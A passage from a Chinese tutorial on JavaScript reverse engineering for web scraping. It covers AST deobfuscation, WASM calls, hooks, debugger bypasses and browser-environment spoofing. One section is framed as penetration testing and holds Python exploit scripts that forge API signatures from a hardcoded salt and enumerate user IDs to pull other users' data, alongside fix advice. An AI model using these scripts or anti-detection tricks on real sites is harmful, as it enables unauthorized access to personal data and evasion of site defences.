死代码删除:删除永远不会执行的代码,简化代码结构。
4. 极简入门示例(AST 字符串还原)
const parser = require ('@babel/parser' );
const traverse = require ('@babel/traverse' ).default ;
const generator = require ('@babel/generator' ).default ;
const t = require ('@babel/types' );
const obfuscatedCode = ` var _0x1a2b=['MD5','toString','my_secret_salt']; (function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10)); var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;}; function generateSign(_0x4d5a,_0x5f6b){ const _0x1e3f=_0x2f8e(0x0); const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b; return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)](); } ` ;
const ast = parser.parse (obfuscatedCode);
const stringArray = ['MD5' ,'toString' ,'my_secret_salt' ];
const shiftArray = (arr, offset ) => {
for (let i = 0 ; i < offset; i++){ arr.push (arr.shift ()); }
return arr;
};
const shiftedArray = shiftArray (stringArray, 0x10 +1 );
const decryptString = (index ) => { return shiftedArray[index]; };
traverse (ast, {
CallExpression (path) {
if (path.node .callee .name === '_0x2f8e' && t.isNumericLiteral (path.node .arguments [0 ])) {
const index = path.node .arguments [0 ].value ;
const originalString = decryptString (index);
path.replaceWith (t.stringLiteral (originalString));
}
}
});
const result = generator (ast, { compact : false });
console .log ("还原后的代码:\n" , result.code );
第十四章 WebAssembly(WASM)逆向 对应大纲内容:WASM 案例介绍、WASM 模拟执行,核心是逆向用 WASM 实现的加密逻辑。
1. 核心定义与底层原理 WebAssembly(简称 WASM)是一种低级的二进制指令格式,能在浏览器里以接近原生的速度运行,C/C++/Rust 写的代码,可以编译成 WASM,在浏览器里运行。很多网站把核心的加密逻辑,用 C/C++ 写好,编译成 WASM,放到浏览器里运行,防止被 JS 逆向分析,是目前最强的前端加密反爬手段之一。
逆向原理:WASM 代码虽然是二进制的,但可以反编译成 WAT(WebAssembly Text Format,文本格式),或者反编译成 C 代码,分析里面的加密逻辑,也可以直接在浏览器里调用 WASM 里的函数,拿到加密结果(RPC 方式)。
2. 实战作用与应用场景
逆向场景:网站的加密逻辑用 WASM 实现,JS 里看不到加密代码,需要逆向 WASM;
爬虫开发:还原 WASM 里的加密逻辑,或者调用 WASM 函数,生成加密参数;
反爬对抗:绕过 WASM 加密的反爬手段,实现自动化爬取。
3. 核心知识点拆解
WASM 的文件格式:
.wasm:二进制格式,浏览器直接运行的文件;
.wat:文本格式,人类可读的 WASM 代码,是二进制文件的反编译结果;
WASM 逆向的两种方式:
静态分析 :把 .wasm 文件反编译成 .wat 格式,或者用工具反编译成 C 代码,分析加密逻辑;
动态调试 :Chrome DevTools 支持 WASM 的断点调试,单步执行 WASM 代码,查看寄存器、内存的值,分析加密逻辑;
RPC 调用 :直接在浏览器里调用 WASM 导出的函数,传入参数,拿到加密结果,最简单的方式。
常用工具:
wasm2wat:把 wasm 二进制文件转成 wat 文本格式;
wat2wasm:把 wat 文本转成 wasm 二进制;
Ghidra/IDA Pro:反编译 wasm 文件成 C 代码,静态分析;
Chrome DevTools:WASM 动态调试。
4. 极简入门示例(WASM 函数调用)
fetch ('/encrypt.wasm' ).then (response => response.arrayBuffer ()).then (bytes => WebAssembly .instantiate (bytes)).then (result => {
const encryptFunc = result.instance .exports .encrypt ;
const data = new TextEncoder ().encode ("我的加密内容" );
const encryptedPtr = encryptFunc (data.byteOffset , data.length );
const memory = new Uint8Array (result.instance .exports .memory .buffer , encryptedPtr, 32 );
const encryptedResult = Array .from (memory).map (b => b.toString (16 ).padStart (2 ,'0' )).join ('' );
console .log ("WASM 加密结果:" , encryptedResult);
});
第二部分:核心技术点完整实战操作流程 完全贴合大纲的实操内容,每个技术点都按「适用场景→操作步骤→核心代码→踩坑点→案例演示」来写,步骤可 1:1 复现。
一、XHR 断点定位加密函数
1. 技术适用场景
不知道加密函数名、不知道加密关键词,无法用全局搜索定位;
接口请求的加密参数,需要找到生成的位置;
90% 的 JS 逆向场景都适用,是定位加密函数的首选方法。
2. 详细操作步骤
打开 Chrome 浏览器,访问目标网站,按 F12 打开 DevTools;
切换到「Network」面板,勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
触发目标接口请求(比如点击查询、刷新页面、点击登录),找到目标接口,复制接口 URL 里的关键词(比如 rank/list,不要带域名);
切换到「Sources」面板,找到左侧的「XHR/fetch Breakpoints」,点击「Add breakpoint」;
在弹出的输入框里,粘贴刚才复制的接口关键词(比如 rank/list),按回车;
再次触发接口请求,代码会自动暂停,断点触发;
查看右侧的「Call Stack」(调用栈)面板,从下往上找业务代码(跳过 jQuery、Axios 等框架代码);
点击对应的业务代码,进入 JS 文件,格式化代码,就能找到加密参数的生成函数。
3. 核心代码 / 指令 无代码,断点设置指令:在 XHR/fetch Breakpoints 里添加接口关键词,比如 rank/list。
4. 常见踩坑点与避坑技巧
踩坑点 1:断点触发后,停在框架代码里,找不到业务代码;避坑:在 Call Stack 里,右键框架代码(比如 Axios、jQuery),选择「Blackbox Script」,把框架代码加入黑盒,下次断点会直接停在业务代码里。
踩坑点 2:接口 URL 是动态变化的,关键词不对,断点不触发;避坑:用接口的通用部分,比如 /api/,只要接口 URL 包含 /api/,就会触发断点。
踩坑点 3:断点触发了,但加密参数已经生成好了;避坑:在 Call Stack 里往上回溯,找到发起请求前的代码,加密参数就是在那里生成的。
5. 对应案例实操演示
打开 Newrank 官网,进入榜单页面,按 F12 打开 DevTools;
触发榜单查询,找到接口 https://www.newrank.cn/xdnphb/main/v1/rank/list,复制关键词 rank/list;
在 XHR/fetch Breakpoints 里添加 rank/list,再次触发查询;
断点触发,在 Call Stack 里找到业务代码,进入 JS 文件;
格式化代码,找到 generateSign 函数,就是 sign 参数的生成函数。
二、Hook window.btoa 方法(Base64 编码定位)
1. 技术适用场景
知道网站用了 Base64 编码,需要找到哪里调用了 Base64 编码;
接口参数是 Base64 编码的,需要定位编码的位置;
全局搜索 btoa 找不到调用位置,用 Hook 拦截所有调用。
2. 详细操作步骤
打开 Chrome 浏览器,访问目标网站,按 F12 打开 DevTools;
切换到「Console」面板;
复制 Hook 代码,粘贴到 Console 里,按回车执行;
触发网站的接口请求(比如点击查询、登录);
查看 Console 里的输出,会显示 btoa 被调用的输入内容、输出结果,以及调用栈;
点击调用栈里的链接,直接跳转到调用 btoa 的代码位置,找到加密逻辑。
3. 核心代码 / 指令
const originalBtoa = window .btoa ;
window .btoa = function (...args ) {
console .log ("=== btoa 被调用 ===" );
console .log ("输入内容:" , args[0 ]);
console .log ("调用栈:" , new Error ().stack );
const result = originalBtoa.apply (this , args);
console .log ("编码结果:" , result);
console .log ("=== 调用结束 ===" );
return result;
};
4. 常见踩坑点与避坑技巧
踩坑点 1:Hook 代码执行后,刷新页面就失效了;避坑:用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件里,确保页面刷新后 Hook 代码依然生效。
踩坑点 2:网站用了自定义的 Base64 编码,不是原生的 btoa,Hook 不到;避坑:Hook String.prototype.fromCharCode,或者搜索 Base64 的特征码 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,找到自定义的编码函数。
踩坑点 3:Console 里的输出太多,找不到对应的调用;避坑:在 Hook 代码里加条件判断,比如只有输入内容包含关键词时,才打印日志。
5. 对应案例实操演示
打开目标网站的登录页面,按 F12 打开 DevTools;
在 Console 里执行 Hook window.btoa 的代码;
输入用户名密码,点击登录;
Console 里输出了 btoa 的调用信息,输入内容是用户名密码的拼接字符串;
点击调用栈里的链接,跳转到登录加密的代码位置,找到完整的加密逻辑。
第三部分:真实场景 JS 逆向 + Python 爬虫全流程复现 完全贴合大纲【加密参数还原与模拟、逆向爬取实战】章节,核心案例从 0 到 1 可复现,代码可直接运行。
案例:Newrank 榜单 sign 参数 MD5 逆向 + Python 爬虫复现
1. 抓包分析
打开 Newrank 官网(https://www.newrank.cn),进入榜单页面,按 F12 打开 DevTools;
切换到 Network 面板,勾选 Preserve log 和 Disable cache,点击 XHR/fetch 筛选器;
点击榜单的下一页,找到核心接口:https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list;
核心加密参数:sign(32 位 MD5 值)、nonce(随机字符串)、timestamp(13 位时间戳)、data(Base64 编码的查询条件)。
{ "app_key" : "xhs_001" , "nonce" : "123456" , "timestamp" : "1761800000000" , "sign" : "a1b2c3d4e5f67890a1b2c3d4e5f67890" , "data" : "eyJ0eXBlIjoiYWxsIiwicGFnZSI6MX0=" }
2. 加密函数定位
在 XHR/fetch Breakpoints 里添加 rank/list,再次点击下一页,断点触发;
在 Call Stack 里回溯,找到业务代码,进入 JS 文件,格式化代码;
全局搜索 sign:,找到 generateSign 函数;
断点调试,查看函数的输入参数和执行逻辑。
3. 加密逻辑还原 分析 generateSign 函数,得到完整逻辑:
data 参数 :把查询条件 JSON 字符串转成 Base64 编码;
nonce 参数 :6 位随机数字字符串;
timestamp 参数 :13 位毫秒级时间戳;
sign 签名规则:
固定盐值:d1b12967a38c4891a987f65432109876;
拼接规则:app_key + nonce + timestamp + data + 盐值;
加密算法:MD5 哈希,转成 32 位小写字符串。
4. JS 调试验证 在 DevTools 的 Console 里执行以下代码,验证加密逻辑:
const app_key = "xhs_001" ;
const nonce = "123456" ;
const timestamp = "1761800000000" ;
const data = btoa (JSON .stringify ({"type" :"all" ,"page" :1 }));
const salt = "d1b12967a38c4891a987f65432109876" ;
const signStr = app_key + nonce + timestamp + data + salt;
const sign = CryptoJS .MD5 (signStr).toString ().toLowerCase ();
console .log ("生成的 sign:" , sign);
5. Python 复现(完整爬虫代码)
import requests
import time
import hashlib
import base64
import json
import random
BASE_URL = "https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list"
APP_KEY = "xhs_001"
SALT = "d1b12967a38c4891a987f65432109876"
HEADERS = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ,
"Referer" : "https://www.newrank.cn/public/rank/wechat" ,
"Content-Type" : "application/json" ,
"Cookie" : "你自己的 Newrank Cookie"
}
def generate_sign (app_key:str , nonce:str , timestamp:str , data:str )->str :
""" 生成 Newrank 接口的 sign 签名 :param app_key: 固定 app_key :param nonce: 6 位随机数 :param timestamp: 13 位时间戳 :param data: Base64 编码的查询条件 :return: 32 位小写 MD5 签名 """
sign_str = f"{app_key} {nonce} {timestamp} {data} {SALT} "
md5_obj = hashlib.md5(sign_str.encode('utf-8' ))
return md5_obj.hexdigest()
def encode_data (page:int , rank_type:str ="all" )->str :
""" 编码查询条件为 Base64 :param page: 页码 :param rank_type: 榜单类型 :return: Base64 编码的字符串 """
payload = {"type" : rank_type, "page" : page, "pageSize" : 20 }
json_str = json.dumps(payload, separators=(',' ,':' ))
return base64.b64encode(json_str.encode('utf-8' )).decode('utf-8' )
def generate_nonce ()->str :
"""生成 6 位随机数字 nonce"""
return str (random.randint(100000 ,999999 ))
def get_rank_list (page:int =1 )->dict :
""" 获取 Newrank 榜单数据 :param page: 页码 :return: 接口返回的 JSON 数据 """
timestamp = str (int (time.time()*1000 ))
nonce = generate_nonce()
data = encode_data(page)
sign = generate_sign(APP_KEY, nonce, timestamp, data)
request_body = {
"app_key" : APP_KEY,
"nonce" : nonce,
"timestamp" : timestamp,
"sign" : sign,
"data" : data
}
response = requests.post(
url=BASE_URL,
headers=HEADERS,
json=request_body,
timeout=10
)
response.raise_for_status()
return response.json()
if __name__ == "__main__" :
result = get_rank_list(page=1 )
print ("榜单数据:" , json.dumps(result, indent=2 , ensure_ascii=False ))
6. 进阶优化
Cookie 自动刷新 :用 Python 模拟登录,自动获取和刷新 Cookie,不用手动复制;
请求频率控制 :添加 time.sleep(random.uniform(1, 3)),避免被封 IP;
Session 复用 :用 requests.Session() 复用 TCP 连接,提升爬取效率;
异常处理 :添加 try-except,处理网络超时、接口报错等情况。
第四部分:结合 JS 逆向技术的渗透测试利用全流程
场景 1:前端硬编码加密密钥 + 未授权接口渗透
1. 前端代码逆向分析(漏洞点挖掘)
操作步骤:
打开目标网站登录 / 数据查询页面,按 F12 打开 DevTools→Sources 面板;
全局搜索(Ctrl+Shift+F)关键词:encrypt、AES、key、secret、token;
找到前端加密代码,发现硬编码的 AES 密钥、接口签名盐值;
继续搜索 api/、/v1/、/user/ 等接口关键词,找到前端代码中注释 / 未调用的隐藏未授权接口 ;
分析接口的签名生成规则,发现前端硬编码的盐值可直接用于生成合法签名。
核心逆向代码(提取自前端 JS):
const AES_KEY = "api_encrypt_123456" ;
const SIGN_SALT = "api_sign_secret_789" ;
function generateApiSign (timestamp, path ){
return CryptoJS .MD5 (SIGN_SALT + timestamp + path).toString ();
}
const HIDDEN_API = "https://api.example.com/admin/user/list" ;
2. 漏洞原理分析
成因 :前端开发人员将加密密钥、签名盐值硬编码在 JS 代码中,且后端接口仅校验签名有效性,未校验用户权限;同时将后台管理接口的路径写在前端 JS 中,未做访问控制。
危害等级 :高危(可未授权获取全量用户数据、越权操作)
利用条件 :可访问目标网站前端 JS 代码、接口可公网访问、后端仅做签名校验无权限校验。
3. 完整利用步骤与 Payload
步骤 1:复现签名生成逻辑(Python) import hashlib
import time
import requests
SIGN_SALT = "api_sign_secret_789"
TARGET_API = "https://api.example.com/admin/user/list"
API_PATH = "/admin/user/list"
def generate_sign (timestamp:str , path:str )->str :
""" 复现前端的 MD5 签名生成函数 :param timestamp: 13 位时间戳 :param path: 接口路径 :return: 32 位 MD5 签名 """
sign_str = f"{SIGN_SALT} {timestamp} {path} "
return hashlib.md5(sign_str.encode("utf-8" )).hexdigest()
if __name__ == "__main__" :
timestamp = str (int (time.time()*1000 ))
sign = generate_sign(timestamp, API_PATH)
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0" ,
"Content-Type" : "application/json" ,
"X-Timestamp" : timestamp,
"X-Sign" : sign
}
response = requests.get(url=TARGET_API, headers=headers, timeout=10 )
print ("未授权获取的用户数据:" , response.json())
步骤 2:执行利用
运行上述 Python 代码,直接获取目标网站后台的全量用户数据;
基于硬编码的 AES 密钥,可解密前端加密的用户密码、敏感数据。
4. 实战利用案例 某企业 OA 系统前端 JS 中硬编码了接口签名盐值和后台用户列表接口路径,后端仅校验签名的合法性,未校验当前登录用户的角色权限。通过逆向提取盐值,生成合法签名,直接未授权获取了 OA 系统全量 2000 + 员工的手机号、身份证号、薪资数据。
5. 漏洞修复建议
前端修复:
禁止在前端 JS 中硬编码加密密钥、签名盐值、后台接口路径;
敏感接口的签名密钥通过登录后后端下发的临时 token 生成,禁止固定硬编码;
对前端 JS 代码进行混淆加密,隐藏接口路径和加密逻辑。
后端修复:
接口必须做双重校验 :既校验签名合法性,也校验当前用户的权限,禁止仅靠签名做访问控制;
后台管理接口必须做登录态 + 角色权限双重校验,禁止公网未授权访问;
签名盐值、加密密钥存储在后端服务配置中,禁止泄露到前端。
场景 2:签名校验逻辑缺陷越权访问
1. 前端代码逆向分析
打开目标网站的个人中心页面,触发用户信息查询接口,抓包发现请求参数包含 user_id、sign;
通过 XHR 断点回溯,找到签名生成函数,分析发现签名规则为:MD5(user_id + timestamp),未加入用户登录态、固定盐值 ;
后端仅校验签名是否符合 user_id + timestamp 的规则,未校验 user_id 是否属于当前登录用户。
2. 漏洞原理分析
成因 :签名规则仅绑定用户 ID 和时间戳,未绑定用户登录态 / 固定密钥,攻击者可任意构造 user_id 生成合法签名;后端未校验 user_id 与登录用户的一致性,导致越权。
危害等级 :高危(可越权查看任意用户的个人信息、订单数据)
利用条件 :签名规则无固定密钥 / 登录态绑定、后端未校验用户权限。
3. 完整利用步骤与 Payload import hashlib
import time
import requests
def generate_sign (user_id:str , timestamp:str )->str :
sign_str = f"{user_id} {timestamp} "
return hashlib.md5(sign_str.encode("utf-8" )).hexdigest()
TARGET_API = "https://api.example.com/user/info"
COOKIE = "sessionid=xxx; token=xxx"
if __name__ == "__main__" :
for target_user_id in range (1 ,100 ):
timestamp = str (int (time.time()*1000 ))
sign = generate_sign(str (target_user_id), timestamp)
params = {
"user_id" : target_user_id,
"timestamp" : timestamp,
"sign" : sign
}
headers = {
"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0" ,
"Cookie" : COOKIE
}
response = requests.get(url=TARGET_API, params=params, headers=headers, timeout=5 )
print (f"用户 ID {target_user_id} 的信息:" , response.json())
4. 实战利用案例 某电商网站的用户订单查询接口,签名规则仅为 MD5(order_id + user_id),后端未校验订单所属的用户是否为当前登录用户。通过逆向还原签名规则,遍历订单 ID,越权获取了全量用户的订单信息、收货地址、手机号。
5. 漏洞修复建议
签名规则必须加入固定后端密钥 + 用户登录态 token ,规则改为:MD5(固定密钥 + user_id + timestamp + 用户 token),防止攻击者构造签名;
后端必须校验请求的 user_id/order_id 是否属于当前登录用户,禁止越权访问;
签名有效期限制,timestamp 超过 5 分钟的请求直接拒绝,防止重放攻击。
第五部分:JS 逆向全场景异常问题排查与解决方案 完全贴合大纲【反调试、环境补充、混淆反混淆】章节,覆盖逆向全流程高频异常,步骤可落地,代码可直接执行。
异常 1:加密函数在 Node.js 中执行报错
1. 问题成因分析 序号 核心成因 触发场景 1 浏览器特有 API 缺失 代码调用了 window、document、navigator、location 等浏览器全局对象,Node.js 中无这些对象 2 this 指向错误 浏览器中顶层 this 指向 window,Node.js 中顶层 this 指向 global,代码依赖 this 的浏览器指向逻辑 3 反 Node.js 环境检测 网站代码检测到 Node.js 环境,主动抛出错误 / 修改加密逻辑 4 代码混淆后的依赖缺失 混淆后的代码依赖前端 JS 的其他模块,Node.js 中未引入对应的依赖 5 加密算法的浏览器实现差异 代码使用了 window.crypto.subtle 浏览器加密 API,Node.js 中无对应实现
2. 分步排查流程
第一步:定位报错代码行
把前端加密代码复制到 Node.js 中,执行后查看报错堆栈,找到报错的具体代码行;
判断报错类型:xxx is not defined(对象缺失)、Cannot read properties of undefined(this 指向错误)、主动抛出的错误(环境检测)。
第二步:判断是否为浏览器环境缺失
查看报错的变量名,是否为 window、document、navigator 等浏览器特有对象;
执行 console.log(this),查看顶层 this 的指向,判断是否为 this 指向问题。
第三步:检测是否有反 Node.js 逻辑
在代码开头加入 console.log(global),查看是否有代码修改了全局对象;
搜索代码中的 process、module、exports 等 Node.js 特有关键词,查看是否有检测逻辑。
第四步:验证加密算法依赖
查看代码是否使用了 CryptoJS、JSEncrypt 等第三方库,Node.js 中是否安装了对应库。
3. 完整解决方案
方案 1:通用浏览器环境补全(解决 90% 的缺失问题)
global .window = global ;
global .self = global ;
global .this = global ;
global .navigator = {
userAgent : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ,
platform : "Win32" ,
webdriver : false ,
plugins : [1 ,2 ,3 ,4 ,5 ],
language : "zh-CN"
};
global .location = {
href : "https://www.example.com" ,
host : "www.example.com" ,
hostname : "www.example.com" ,
protocol : "https:" ,
pathname : "/"
};
global .document = {
cookie : "sessionid=xxx" ,
referrer : "https://www.example.com" ,
createElement : ()=> { return {innerHTML :"" ,src :"" }; }
};
global .crypto = require ("crypto" ).webcrypto ;
console .log ("浏览器环境补全完成" );
方案 2:修复 this 指向问题
(function (window ){
function generateSign (data ){
return CryptoJS .MD5 (data + window .location .host ).toString ();
}
window .generateSign = generateSign;
})(global .window );
console .log (generateSign ("test" ));
方案 3:绕过反 Node.js 环境检测
delete global .process ;
delete global .module ;
delete global .exports ;
delete global .require ;
global .window = global ;
4. 实战避坑技巧
优先使用JSDOM 库 做完整环境补全,而非手动补全,命令:npm install jsdom,可模拟完整的 DOM 环境;
加密代码优先从浏览器 Sources 面板的格式化后的代码 中复制,而非从压缩的 JS 文件中复制,避免遗漏依赖;
若环境补全后仍报错,优先使用RPC 远程调用 (第八章内容),直接在浏览器中调用加密函数,无需补全环境。
5. 通用解决思路 所有 Node.js 执行报错的核心,都是「浏览器与 Node.js 的运行环境差异」,解决优先级:
优先用 RPC 远程调用,完全规避环境差异(零成本解决);
其次用 JSDOM 补全完整浏览器环境;
最后手动补全缺失的对象 / API,修复 this 指向。
异常 2:无限 debugger 无法调试
1. 问题成因分析 序号 核心成因 常见形式 1 定时器循环执行 debugger setInterval(() => {debugger}, 100),最常见的形式2 函数递归执行 debugger 用 Function 构造器动态生成 debugger 代码,递归执行 3 开发者工具检测触发 debugger 检测到 DevTools 打开后,才执行 debugger 语句 4 混淆代码中的隐式 debugger 把 debugger 语句拆分成字符串拼接,用 eval 动态执行
2. 分步排查流程
第一步:判断 debugger 的触发形式
打开 DevTools,查看 debugger 触发的频率,是定时器循环还是单次触发;
查看 Call Stack 调用栈,找到 debugger 的执行代码位置。
第二步:判断是否有 DevTools 检测
关闭 DevTools,页面正常运行;打开 DevTools,立即触发 debugger,说明存在 DevTools 检测逻辑。
第三步:定位 debugger 的生成代码
查看 debugger 语句的代码,是硬编码还是动态生成的;
全局搜索 debugger 关键词,找到所有相关代码。
3. 完整解决方案
方案 1:条件断点绕过(最简单,零代码)
找到 debugger 语句所在的代码行;
右键行号,选择「Add conditional breakpoint」;
在输入框中输入 false,按回车;
刷新页面,debugger 永远不会触发,可正常调试。
方案 2:Hook 拦截动态 debugger(通用方案)
const originalFunction = Function ;
Function = function (...args ){
if (args.join ('' ).includes ('debugger' )){
return ()=> {};
}
return originalFunction.apply (this , args);
};
const originalEval = window .eval ;
window .eval = function (...args ){
if (args[0 ].includes ('debugger' )){
return ;
}
return originalEval.apply (this , args);
};
方案 3:黑盒脚本绕过(针对框架 / 第三方库的 debugger)
在 Sources 面板的 Call Stack 中,找到 debugger 所在的 JS 文件;
右键该 JS 文件,选择「Blackbox Script」(黑盒脚本);
刷新页面,调试时会跳过该文件的所有代码,debugger 不会触发。
方案 4:禁用所有断点(应急方案)
打开 DevTools→Sources 面板;
点击顶部的「Deactivate breakpoints」按钮(图标是一个带斜杠的断点),或按 Ctrl + F8;
所有断点(包括无限 debugger)都会被禁用,可正常查看代码。
4. 实战避坑技巧
无限 debugger 的核心是「让 debugger 语句不执行 / 不暂停」,优先用条件断点 false,90% 的场景都能解决;
若 debugger 是通过 debugger; 硬编码的,无法用 Hook 拦截,直接用条件断点即可;
若页面刷新后 Hook 代码失效,用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件中,确保刷新后仍生效。
5. 通用解决思路
条件断点 false(最快,零代码);
黑盒脚本(针对第三方库的 debugger);
Hook 拦截动态生成的 debugger;
禁用所有断点(应急方案)。
异常 3:Python 复现的 sign 和前端不一致
1. 问题成因分析 序号 核心成因 占比 1 签名拼接规则还原错误 60% 2 编码格式不一致 20% 3 时间戳 / 随机数不一致 10% 4 加密算法模式 / 填充错误 8% 5 前端隐藏的加密逻辑 2%
2. 分步排查流程
第一步:固定所有变量,排除随机因素
在前端代码中,把时间戳、随机数、盐值都固定为常量,生成 sign;
在 Python 代码中,用完全相同的固定常量,生成 sign,对比是否一致。
第二步:逐段对比拼接字符串
在前端代码中,打印加密前的原始拼接字符串 console.log("原始字符串:", signStr);
在 Python 代码中,打印完全相同位置的拼接字符串,对比每一个字符,查看是否有空格、换行、大小写、编码差异。
第三步:验证加密算法的参数
确认加密算法的模式(AES-CBC/AES-ECB)、填充方式(PKCS7/PKCS5)、IV 值、密钥编码是否和前端完全一致;
用固定的明文,分别在前端和 Python 中加密,对比密文是否一致。
第四步:排查隐藏的加密逻辑
在前端代码中,给加密函数的每一步都加打印,查看是否有二次加密、字符串替换、字符编码转换的逻辑;
对比前端和 Python 的每一步中间结果,找到差异点。
3. 完整解决方案
方案 1:MD5 签名不一致的标准修复模板 import hashlib
SALT = "my_secret_salt"
KEYWORD = "Python 逆向"
TIMESTAMP = "1761800000000"
sign_str = f"{SALT} {KEYWORD} {TIMESTAMP} "
sign_bytes = sign_str.encode("utf-8" )
md5_result = hashlib.md5(sign_bytes).hexdigest().lower()
print (f"拼接字符串:{repr (sign_str)} " )
print (f"生成的 sign:{md5_result} " )
方案 2:AES 加密不一致的标准修复模板
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
AES_KEY = b"1234567890abcdef"
AES_IV = b"0123456789abcdef"
PLAINTEXT = '{"keyword":"Python 逆向","page":1}'
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
padded_data = pad(PLAINTEXT.encode("utf-8" ), AES.block_size)
encrypted_bytes = cipher.encrypt(padded_data)
encrypted_str = base64.b64encode(encrypted_bytes).decode("utf-8" )
print (f"加密结果:{encrypted_str} " )
4. 实战避坑技巧
90% 的不一致问题,都是拼接规则还原错误 ,必须逐字符对比前端和 Python 的原始拼接字符串,包括空格、换行、符号;
时间戳必须和前端完全一致,前端用 new Date().getTime() 是 13 位毫秒级,Python 的 time.time() 默认是 10 位秒级,必须乘以 1000 转成 13 位字符串;
加密算法的密钥、IV 值,必须确认前端的编码格式,是 UTF-8 字符串还是 Hex 十六进制字符串,避免编码错误。
5. 通用解决思路 sign 不一致的核心是「前端和 Python 的加密输入、加密过程、输出格式不完全一致」,解决步骤:
固定所有变量,排除随机因素;
逐字符对比加密前的输入字符串,找到差异点;
逐步骤对比加密过程的中间结果,确认算法参数完全一致;
对比输出的格式(大小写、编码、补全),和前端完全对齐。
第六部分:Web JS 逆向完整学习与实战体系 完全贴合大纲 14 章内容,可作为 JS 逆向的完整学习手册,实战性极强。
1. 分阶段学习路径规划(对应每一章)
第一阶段:入门筑基期(1-3 章) 章节 学习重点 需掌握的核心能力 实战目标 第一章 逆向基础 JS 逆向的核心原理、前端代码执行流程、逆向的核心目标 理解'前端加密逻辑都能被还原'的核心逻辑,明确逆向的目标是还原加密参数生成规则 能看懂简单的前端加密代码,明确逆向的完整流程 第二章 浏览器控制台 Network 面板抓包、Sources 面板断点调试、Console 面板代码执行、Application 面板数据查看 熟练使用 DevTools 三大核心面板,能独立抓包、设置断点、调试 JS 代码、查看 Cookie/LocalStorage 能独立抓包找到目标接口,给 JS 代码设置断点,单步调试查看变量值 第三章 加密参数定位方法 XHR 断点定位、关键词搜索定位、Hook 注入定位加密函数 掌握 3 种核心的加密函数定位方法,能快速找到接口参数的加密代码位置 给任意网站的接口,10 分钟内定位到加密参数的生成函数
第二阶段:基础攻坚期(4-6 章) 章节 学习重点 需掌握的核心能力 实战目标 第四章 常见的压缩和混淆 代码压缩原理、javascript-obfuscator 混淆的特征、混淆代码的基础阅读方法 能识别混淆代码的类型,看懂简单混淆后的加密逻辑,不被乱码变量名干扰 能阅读 javascript-obfuscator 混淆后的代码,找到核心加密逻辑 第五章 常见的编码和加密 Base64 编码、MD5 哈希、AES 对称加密、RSA 非对称加密的原理和前端实现 能识别 4 种核心加密算法的特征,看懂前端加密代码的算法类型、密钥、模式、填充方式 看到前端加密代码,能快速识别算法类型,提取密钥、IV 等核心参数 第六章 加密参数还原与模拟 Newrank 榜单、MD5/RSA/AES 加密逆向案例 能完整还原加密逻辑,用 Python 复现加密算法,构造合法的接口请求 独立完成 Newrank 榜单的 sign 参数逆向,用 Python 实现自动化爬取
第三阶段:进阶突破期(7-9 章) 章节 学习重点 需掌握的核心能力 实战目标 第七章 浏览器环境补充 常被检测的浏览器环境、手动环境补全、JSDOM 环境补全、Selenium/Puppeteer 环境模拟 能识别前端代码的环境依赖,手动补全浏览器环境,让前端加密代码在 Node.js 中正常运行 把任意网站的前端加密代码,复制到 Node.js 中正常运行,生成加密参数 第八章 加密方法远程调用(RPC) RPC 的原理、油猴脚本实现 RPC、浏览器插件 RPC、Puppeteer 远程调用 掌握 RPC 远程调用方法,无需还原加密逻辑,直接调用浏览器中的加密函数 针对复杂加密网站,用 RPC 实现加密参数的自动生成,完成爬虫开发 第九章 AST 技术 AST 的核心原理、babel 全家桶(parser/generator/traverse/types)的使用 能把 JS 代码解析成 AST,遍历、修改、还原 AST 节点,生成可读代码 能用 AST 技术还原简单的混淆代码,批量修改 JS 代码
第四阶段:高阶精通期(10-14 章) 章节 学习重点 需掌握的核心能力 实战目标 第十章 常见协议分析 HTTP/HTTPS 协议结构、WebSocket 协议、接口请求规则、反爬头字段校验 能深度分析接口协议,绕过 Referer、User-Agent、Cookie 等反爬校验 能分析复杂网站的接口协议,构造完全模拟浏览器的请求 第十一章 常见反调试 无限 debugger 原理与绕过、DevTools 检测、断点检测、内存爆破反调试 掌握所有常见反调试的绕过方法,能正常调试有反爬的网站 JS 代码 能绕过任意网站的无限 debugger 和 DevTools 检测,正常调试代码 第十二章 调试工具补充 事件断点、全局搜索、黑盒脚本、性能面板、内存面板的进阶用法 熟练使用 DevTools 的进阶调试工具,大幅提升逆向效率 能用进阶调试技巧,快速定位复杂混淆代码中的加密逻辑 第十三章 AST 反混淆 用 AST 还原混淆代码、字符串解密、控制流还原、变量名重命名、死代码删除 能用 AST 技术完整还原 javascript-obfuscator 混淆的代码,生成可读的 JS 代码 针对任意 javascript-obfuscator 混淆的代码,用 AST 实现全自动反混淆 第十四章 逆向爬取实战 综合实战案例,覆盖加密、混淆、反调试、环境检测全场景 能独立完成复杂网站的全流程逆向,开发稳定的自动化爬虫 独立完成 2 个以上复杂网站的逆向爬取,实现 7*24 小时稳定运行
2. 核心技术栈速查表(实战手册)
